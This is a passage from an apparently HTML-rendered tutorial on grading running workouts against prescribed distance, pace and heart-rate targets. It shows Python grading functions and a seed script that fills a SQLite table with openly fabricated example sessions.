&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Grade a prescribed ceiling in the unit it was prescribed in: bpm over.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    NOISE absorbs sensor jitter; SCALE sets how many bpm over is an F.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    NOISE, SCALE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1.5&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;28.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; max&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, (avg_hr &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cap_bpm) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; NOISE) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; SCALE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; grade_record&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(rec):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;The production path. The calibration gate must call THIS, not a copy.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    metrics &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;distance&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: grade_from_deviation(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            distance_deviation(rec[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;distance_m&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;], rec[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;target_distance_m&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;pace&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: grade_from_deviation(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            pace_deviation(rec[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;pace_s_per_km&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;], rec[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;target_pace_s_per_km&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;                           rec[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;intent&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;hr&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: grade_from_deviation(hr_deviation(rec[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;avg_hr&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;], rec[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;cap_bpm&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    points &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [GRADE_POINTS[base_letter(g)] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; g &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; metrics.values()]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    gpa &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; sum&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(points) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(points)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    overall &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; min&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(GRADE_POINTS, key&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=lambda&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; k: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;abs&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(GRADE_POINTS[k] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; gpa))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    # An F on any single metric caps the overall at C: a composite must not&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    # average away a hard failure.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    capped_by &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; next&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((k &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; k, g &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; metrics.items() &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; base_letter(g) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;F&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), None)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; capped_by &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; GRADE_POINTS[overall] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 2.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        overall &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;C&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;metrics&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: metrics, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;overall&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: overall, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;capped_by&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: capped_by}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You also need history. In a real system this is your production database; for a runnable example, &lt;code&gt;seed.py&lt;/code&gt; fabricates a season with a realistic spread of compliance.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;Fabricate a season of history so the gate has something to grade.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; sqlite3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; pathlib &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Path&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;SCHEMA &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;CREATE TABLE IF NOT EXISTS sessions (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  id INTEGER PRIMARY KEY, day TEXT NOT NULL, intent TEXT NOT NULL,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  distance_m REAL, target_distance_m REAL,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  pace_s_per_km REAL, target_pace_s_per_km REAL,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  avg_hr REAL, cap_bpm REAL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# (intent, distance multiplier, seconds faster than target, bpm over cap)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;PATTERN &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;easy&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1.00&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.5&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;easy&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1.01&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;3.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;quality&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.98&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;6.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;easy&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1.02&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;long&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.95&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;easy&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1.00&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;12.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;quality&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1.09&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;4.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;easy&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.99&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;long&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1.15&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;9.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;easy&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1.00&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;18.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;quality&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.70&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;110&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;easy&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1.45&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;160&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;24.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;quality&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1.62&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;220&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;3.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; build&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(path):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    Path(path).parent.mkdir(parents&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;True, exist_ok&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;True)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    conn &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; sqlite3.connect(path)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    conn.executescript(SCHEMA)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    conn.execute(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;DELETE FROM sessions&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;48&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        intent, dist_mult, pace_delta, hr_over &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; PATTERN[i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(PATTERN)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        target_d, target_p, cap &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 8000.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;360.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;140.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        conn.execute(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;            &quot;INSERT INTO sessions (id, day, intent, distance_m, target_distance_m,&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;            &quot; pace_s_per_km, target_pace_s_per_km, avg_hr, cap_bpm)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;            &quot; VALUES (?,?,?,?,?,?,?,?,?)&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            (i, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;2026-&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 28&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:02d&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 28&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:02d&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, intent,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;             target_d &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; dist_mult, target_d,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;             target_p &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; pace_delta, target_p, cap &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; hr_over, cap))&lt;/span&gt;&lt;/span&gt;
